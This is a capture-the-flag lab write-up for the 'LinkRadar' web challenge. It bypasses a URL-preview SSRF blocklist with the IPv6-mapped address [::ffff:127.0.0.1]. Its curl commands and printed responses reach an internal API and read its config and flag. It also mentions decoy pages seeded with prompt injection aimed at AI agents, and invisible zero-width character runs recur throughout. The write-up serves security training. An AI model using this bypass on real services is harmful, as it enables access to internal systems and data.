← Back to Writeups
CUSTOMMediumWeb

Lab 93 — LinkRadar

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_avoidance#internal_service_enumeration#ipv6_mapped_ipv4_bypass#response_body_exfiltration#ssrf_via_url_preview#url_validation_bypass#linux

Lab 93 — LinkRadar

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, response_body_exfiltration, ssrf_via_url_preview, url_validation_bypass

Summary

Task: LinkRadar website monitoring platform with URL preview feature protected by IP blocklist — SSRF via IPv6-mapped IPv4 bypass. Solution: Discovered internal metrics API (port 3001) from JS comment, bypassed IPv4 blocklist using [::ffff:127.0.0.1] notation, enumerated internal endpoints, and retrieved flag from /flag endpoint.

Lab 93 — LinkRadar — HackAdvisor

Description

LinkRadar is a website monitoring platform used by DevOps teams to track uptime, capture visual snapshots of web pages, and receive alerts when monitored sites go down. The platform includes a URL preview tool for quickly checking any website's status, customizable monitoring intervals, alert rules with webhook and email notifications, and detailed uptime reporting. Your team has been contracted to perform a security assessment of the LinkRadar platform. The development team has implemented URL validation to prevent abuse of their URL preview feature, but you suspect there may be ways to bypass these restrictions. Explore the application thoroughly, understand how it processes URLs, and find a way to access resources that should be restricted. The flag is hidden somewhere within the internal infrastructure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A website monitoring platform (Node.js/Express behind nginx) with a URL preview feature that fetches URLs server-side using a headless browser. The preview feature has an IP blocklist to prevent SSRF, but it only checks IPv4 representations. The goal is to bypass the blocklist and access an internal metrics API on port 3001 to retrieve the flag.

Analysis

Reconnaissance

The platform is a DevOps monitoring tool with pages: Dashboard, Monitors, URL Preview, Alerts, Reports, Settings. Authentication uses session cookies (connect.sid) with credentials user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The URL Preview page at /preview accepts a URL via POST and fetches it server-side using a headless browser. The response includes an HTTP status badge, page title, screenshot (base64), and rendered page content in a <pre class="content-pre"> element. This makes it a full (non-blind) SSRF — the complete response body is visible.

Key discovery in JavaScript: The file /js/preview.js contains a revealing comment:

javascript
// TODO: integrate with internal metrics API (port 3001)
// var metricsBaseUrl = 'http://127.0.0.1:3001';

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This discloses an internal service running on 127.0.0.1:3001.

Decoy flag trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements and comments, alongside prompt injection text designed to trick AI agents. This is a honeypot — not the real flag.

URL Validation — IPv4-Only Blocklist

The URL preview feature validates submitted URLs against a blocklist of internal/private IP addresses:

Blocked patternScope
127.0.0.1Loopback
localhostLoopback hostname
0.0.0.0All interfaces
10.x.x.xRFC1918 Class A
172.16-31.x.xRFC1918 Class B
192.168.x.xRFC1918 Class C
169.254.x.xLink-local
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Submitting url=http://127.0.0.1:3001/ returns the error: "Requests to internal/private IP addresses are restricted".

Critical Gap — IPv6-Mapped IPv4 Not Checked

The blocklist performs string-based matching on IPv4 representations only. It does not check IPv6-mapped IPv4 addresses. The address [::ffff:127.0.0.1] resolves to 127.0.0.1 at the network level but bypasses the string-based IPv4 blocklist entirely.

Solution

Step 1: Bypass the blocklist and access the internal API

Use the IPv6-mapped IPv4 notation to reach the internal metrics API: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b cookies.txt -X POST https://TARGET/preview \
  -d 'url=http://[::ffff:127.0.0.1]:3001/'

Response (extracted from content-pre element):

json
{
  "service": "LinkRadar Internal Metrics API",
  "version": "1.2.0",
  "status": "operational",
  "endpoints": ["/metrics", "/health", "/config"]
}

The blocklist is bypassed — full access to the internal API is confirmed.

Step 2: Enumerate internal endpoints

/config — reveals application configuration:

json
{
  "database": "sqlite:///app/data/database.db",
  "check_interval_default": 300,
  "alert_cooldown": 900,
  "max_monitors_per_user": 50,
  "screenshot_timeout": 30000,
  "internal_api_port": 3001,
  "main_app_port": 8080
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/metrics — returns system metrics (hostname, platform, memory, process info, monitor stats).

/health — returns health check:

json
{"status": "healthy", "uptime": 59.4, "timestamp": "2026-05-12T21:34:40.822Z"}

Step 3: Retrieve the flag

bash
curl -s -b cookies.txt -X POST https://TARGET/preview \
  -d 'url=http://[::ffff:127.0.0.1]:3001/flag'

Response (extracted from content-pre element):

LinkRadar Internal Debug Console
Master Key: FLAG{REDACTED}

The /flag endpoint returns an HTML page (unlike the JSON endpoints), containing the flag as "Master Key" in a debug console page. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes

  • The headless browser makes requests slow (~30s per request), so parallel requests can cause timeouts — sequential requests are necessary.
  • The /flag endpoint is not listed in the API root's endpoints array — it must be guessed or discovered through enumeration.
  • Decoy flags appear on every page in hidden divs and HTML comments with prompt injection text — they must be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍